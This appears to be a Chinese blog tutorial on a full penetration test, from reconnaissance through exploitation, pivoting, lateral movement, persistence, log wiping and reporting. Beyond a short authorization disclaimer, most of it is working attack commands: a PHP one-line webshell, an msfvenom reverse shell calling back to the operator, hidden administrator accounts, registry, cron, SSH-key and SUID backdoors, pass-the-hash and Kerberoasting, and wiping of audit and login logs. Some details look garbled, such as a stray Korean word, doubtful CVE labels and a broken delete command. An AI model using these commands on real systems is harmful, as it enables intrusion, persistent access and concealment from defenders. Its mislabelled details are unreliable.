一次完整的渗透测试流程:从信息收集到权限维持
作者:浅木·先生
前言
很多人学安全的路径是这样的:学几个漏洞名称、了解几个工具命令,觉得自己"会渗透了"。
但真正做过渗透测试的人都知道,渗透不是一个一个漏洞的罗列,而是一套完整的攻击链。从信息收集的广度,到漏洞利用的深度,再到内网漫游的持久度,每一个环节都决定了最终能否拿下目标。
本文结合当前网络安全行业的主流实践,系统性地梳理一次完整渗透测试的标准流程,覆盖:
- 信息收集 → 漏洞探测 → 漏洞利用 → 内网转发 → 内网横向渗透 → 权限维持 → 痕迹清除 → 报告撰写
每个环节我都结合实际案例和工具操作展开,帮你建立完整的渗透测试思维框架。
一、渗透测试的前提:授权与边界
重要的事情说三遍:未经授权的渗透测试是违法的。
2021年9月1日正式实施的《数据安全法》和2022年3月1日实施的《网络安全审查办法》,对网络攻击行为有了明确的法律约束。无论你是安全研究还是技术学习,** 반드시 得到目标所有者的书面授权**,才能对目标系统进行任何形式的渗透测试。
渗透测试的分类
| 类型 | 说明 | 特点 |
|---|---|---|
| 黑盒测试 | 只提供目标URL,其他信息全靠自己去收集 | 完全模拟外部黑客视角,难度高 |
| 白盒测试 | 提供源码、架构图、账号权限等全部信息 | 可针对性地做代码审计和深层测试 |
| 灰盒测试 | 提供部分信息,如只给一个内网IP段 | 介于黑白之间,常用于内网渗透测试 |
本文重点讲黑盒测试,这是最接近真实攻击场景的方式------你只知道目标是什么,其他全靠"打"。
二、信息收集:知己知彼,百战不殆
渗透测试的第一步,也是最关键的一步。很多人忽视信息收集,觉得"扫一扫端口就完了",但实际上真正决定渗透成败的,恰恰是信息收集的深度和广度。
2.1 资产发现:目标有哪些
拿到目标URL后,先查一下这个域名背后有多少资产:
bash
# 查域名真实IP(判断是否用了CDN)
nslookup target.com
dig target.com
在线工具:https://whois Request
# 查旁站(同IP上还有哪些网站)
说明:一个服务器经常托管多个网站,查到旁站就等于扩大了攻击面
常用工具:bypass.taobao.com、dnsly.io
# 查子域名(subdomain brute force)
amass enum -passive -d target.com
subfinder -d target.com
真实案例: 某次渗透测试中,主站防护做得很好,但通过子域名探测发现了 dev.target.com 测试系统,弱口令直接登录后台,找到了一处文件上传漏洞。
2.2 服务器信息:操作系统与中间件
bash
# 判断操作系统
ping -c 1 target.com # 通过TTL值判断:Linux=64,Windows=128
nmap -O target.com # 更精确的系统指纹识别
# 判断中间件版本
whatweb target.com # 识别Web服务器类型和版本
nmap -sV target.com # 扫描端口服务版本
关键信息收集:
- 服务器系统(Linux/Windows)
- Web服务器(Apache/Nginx/Tomcat/IIS)
- 编程语言(PHP/Java/Python/ASP)
- CMS类型(WordPress/DedeCMS/ThinkPHP)
- 开放端口(22/SSH、80/Http、443/Https、3306/MySQL、3389/RDP)
2.3 敏感目录与文件
bash
# dirsearch 目录扫描
python3 dirsearch.py -u https://target.com -e php,html,js -t 20
# dirb 常见目录爆破
dirb https://target.com /usr/share/wordlists/dirb/common.txt
# 敏感文件发现(robots.txt、crossdomain.xml、sitemap.xml)
常见的敏感路径:
/admin//phpmyadmin//manager/后台管理入口/uploads//backup//data/可利用的上传/备份/数据目录/api//v1//swagger/接口文档.git/.svn/.DS_Store版本控制信息泄露
注意: 如果发现 .git 目录,直接可以尝试用 git-dumper 拉取源码,这往往是最快拿到shell的方式。
2.4 whois与邮件信息
bash
# whois 查询(查注册邮箱、公司信息、NS服务器)
whois target.com
# 查邮箱(用于后续钓鱼和爆破)
hunter.io search target.com
社工信息收集:
- 通过
hunter.io查公司邮箱命名规则 - 通过
linkedin查团队成员信息 - 通过
qqqzone查员工的真实姓名和常用ID
这些信息可以用来生成密码字典,对登录入口进行爆破。
三、漏洞探测:从点到面的系统化扫描
信息收集完成后,开始漏洞探测。这个阶段需要系统化,避免遗漏。
3.1 自动化扫描(初步摸排)
bash
# AWVS 漏洞扫描器(商业级,误报率低)
# 适合对整个Web应用做全面扫描
# Nessus 漏洞扫描(主打系统层漏洞)
# 适合配合Web漏洞扫描做组合拳
# BurpSuite Professional(被动扫描+主动探测)
# intercept 抓包 → repeater 改包 → intruder 爆破
# Xray(国产免费神器,配合BurpSuite使用)
xray webscan --basic crawler https://target.com
3.2 常见Web漏洞快速探测清单
| 漏洞类型 | 快速探测方法 | 工具 |
|---|---|---|
| SQL注入 | 单引号 ' 触发报错,构造恒真/假条件 |
Sqlmap |
| XSS | <script>alert(1)</script> 测试弹窗 |
Beef-XSS |
| CSRF | 检查请求是否携带Token | BurpSuite |
| SSRF | 构造 file:///etc/passwd 或内网地址 |
curl |
| 文件上传 | 上传 .php .asp .jsp 测试 |
菜刀/Cknife |
| 文件包含 | ?file=../../etc/passwd 本地包含测试 |
BurpSuite |
| 命令注入 | ;whoami && id 测试命令执行 |
Commix |
| XXE | 构造XML外部实体读取文件 | BurpSuite |
| 未授权访问 | 直接访问管理接口测试 | curl |
3.3 漏洞利用的核心思路
一个漏洞很少能直接拿到shell,通常需要多个漏洞串联。
常见利用链路:
SQL注入 → 拿到后台管理员数据 → 后台文件上传 → getshell
↓
某处接口未授权访问 → 获取用户数据 → 密码复用 → 登录后台 → 文件上传 → getshell
四、漏洞利用:从边缘入口到服务器权限
4.1 Webshell的获取与连接
拿到漏洞入口后,下一步是getshell。
bash
# 冰蝎3(推荐,免杀能力强)
# 优势:加密传输、支持命令执行、文件管理、代理转发
# 蚁剑(开源,插件丰富)
# 优势:编码器多、自定义程度高
# 哥斯拉(支持jsp,适合Java中间件)
php
# 最简单的一句话木马(仅供理解,实际使用需修改)
<?php @eval($_POST['pass']); ?>
# 冰蝎冰蝎3默认密钥:rebeyond
4.2 提权:从普通用户到SYSTEM
获得Webshell后,一般权限很低,需要提权。
Windows提权思路:
bash
# 1. 手动信息收集
systeminfo # 看补丁情况,找未打的CVE
whoami /priv # 看当前用户权限
net user # 查看本机用户
net localgroup administrators # 查看管理员组
# 2. 利用未打补丁的CVE提权
# Win10/WinServer 2019 未打补丁可试:
# CVE-2022-26923(ADCS提权)
# CVE-2021-43298(HP Print Spooler)
# 3. 土豆家族提权
# RottenPotato(NTLM Relay到SYSTEM)
# SweetPotato(多种提权方式组合)
# PrintPotato(CVE-2022-22749)
Linux提权思路:
bash
# 1. 信息收集
uname -a # 内核版本
sudo -l # 当前用户sudo权限
find / -perm -4000 2>/dev/null # SUID权限文件
cat /etc/passwd # 用户列表
# 2. 常用的Linux提权CVE
# CVE-2021-3156(sudo buffer overflow)
# CVE-2021-4034(Polkit pkexec)
# CVE-2022-0847(Dirty Pipe)
MSF一键反弹shell:
bash
# 生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f elf > shell.elf
# MSF监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
run
五、内网转发:打破网络边界
拿下的Web服务器往往在DMZ区,不能直接访问内网。这时需要做内网转发。
5.1 代理工具选择
| 工具 | 特点 | 适用场景 |
|---|---|---|
| FRP | 支持TCP/UDP,配置简单 | 稳定持久内网穿透 |
| Neo-reGeorg | 模拟正常HTTP流量,隐蔽性强 | 过防火墙检测 |
| EarthWorm | 多级代理,支持socks5 | 老牌稳定 |
| Termite | 支持端口复用 | 需要多级跳转时 |
5.2 FRP内网穿透实战
ini
# frps.ini(公网服务器)
[common]
bind_port = 7000
token = your_token_here
# frpc.ini(靶机)
[common]
server_addr = your_server_ip
server_port = 7000
token = your_token_here
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5
配置好后,通过 1080 端口的SOCKS5代理,就可以用本机工具探测内网了。
六、内网横向渗透:扩大战果
6.1 内网信息收集
bash
# Windows
ipconfig /all # IP、网关、DNS
net view # 存活主机
net view /domain # 域环境判断
net user # 本机用户列表
net localgroup administrators # 管理员组
# Linux
ifconfig -a # 网卡信息
cat /etc/hosts # hosts文件
arp -a # ARP表(看同网段有哪些机器)
6.2 域环境渗透(Active Directory)
如果内网是域环境,核心目标就是域控(Domain Controller)。
关键信息收集:
bash
# 查询域信息
net view /domain
nltest /dclist:target_domain
# 查询域用户和组
net user /domain
net group "Domain Admins" /domain
# 通过LDAP查询
ldapsearch -x -H ldap://dc_ip -D "CN=xxx,CN=Users,DC=target,DC=com" -W
Kerberoast攻击(获取高权限用户票据):
bash
# 请求SPN服务票据
GetUserSPNs.py target_domain/target_user:password@dc_ip
# 离线破解票据
hashcat -m 13100 ticket.hash /wordlists/rockyou.txt
6.3 横向移动常用手法
| 手法 | 工具 | 说明 |
|---|---|---|
| PTH(哈希传递) | mimikatz / CrackMapExec | 用NTLM哈希直接认证 |
| WMI横向 | wmiexec.py / impacket | 端口135/445,远程执行 |
| SSH横向 | ssh user@target | 拿到密码后直接连 |
| RDP横向 | xfreerdp / rdesktop | 需要开启3389 |
bash
# CrackMapExec批量哈希传递
crackmapexec smb 10.10.10.0/24 -u admin -H ntlm_hash --local-auth
# impacket psexec
psexec.py target_domain/admin@target_ip cmd.exe
七、权限维持:稳住既有阵地
拿到权限后,如果不想办法维持,很可能会丢失控制权。
7.1 Windows权限维持
powershell
# 1. 建立隐藏用户(用户名后加$)
net user hacked$ password /add
net localgroup administrators hacked$ /add
# 2. 开机自启后门(注册表)
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"
# 3. MSF persistence模块(自动回连)
run persistence -X -i 10 -p 8888 -r your_ip
# 4. 万能钥匙后门(域环境)
# 获取krbtgt哈希,制作黄金票据长期控域
7.2 Linux权限维持
bash
# 1. SSH后门(公钥注入)
echo 'ssh-rsa AAAAB3Nz...' >> /root/.ssh/authorized_keys
# 2. crontab定时任务
(crontab -l; echo "*/5 * * * * /tmp/backdoor") | crontab -
# 3. SUID后门
chmod u+s /bin/bash
# 后续:/bin/bash -p → 直接提权到root
# 4. 进程注入后门(rootkit思路)
八、痕迹清除:增加发现成本
清除入侵痕迹是为了增加运维人员发现你存在的时间成本,而不是完全抹除(技术上无法完全清除)。
Windows痕迹清除
bash
# MSF一键清除
clearev # 清除日志
# 手动清除RDP连接记录
del %WINDR%\* .log /a/s/q/f
# 清除远程桌面连接记录
reg delete "HKCU\Software\Microsoft\Terminal Server Client" /va /f
Linux痕迹清除
bash
# 禁用命令历史记录
export HISTFILE=/dev/null
export HISTSIZE=0
# 清除日志文件
echo > /var/log/audit/audit.log
echo > /var/log/wtmp
echo > /var/log/utmp
# 清除web日志(根据中间件找到日志路径)
# Nginx: /var/log/nginx/access.log
# Apache: /var/log/httpd/access_log
核心原则: 隐蔽身份比清除痕迹更重要,渗透前挂代理 + 渗透中保持低调,是最好的自我保护。
九、渗透测试报告撰写
这是渗透测试的最后一环,也是给客户最重要的交付物。
报告结构建议
1. 信息安全测试概述
- 测试背景
- 测试目标
- 测试范围
- 测试时间
2. 漏洞统计与风险评级
- 漏洞清单(高危/中危/低危)
- CVSS评分
3. 各漏洞详细说明
- 漏洞描述
- 漏洞URL和参数
- 漏洞利用步骤(截图)
- 修复建议
4. 安全防护建议
- 短期修复方案
- 中期加固方案
- 长期安全建设
总结
一次完整的渗透测试,考验的是系统化思维 和攻击链完整性:
- 信息收集 → 决定攻击面的大小
- 漏洞探测 → 找准突破口
- 漏洞利用 → 拿到入口权限
- 提权 → 扩大权限
- 内网转发 → 突破网络边界
- 横向渗透 → 扩大战果
- 权限维持 → 持久化控制
- 痕迹清除 → 增加被发现成本
- 报告撰写 → 交付客户价值
每个环节都有其专业性和深度的知识,后续文章我会对每个环节进行详细展开。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈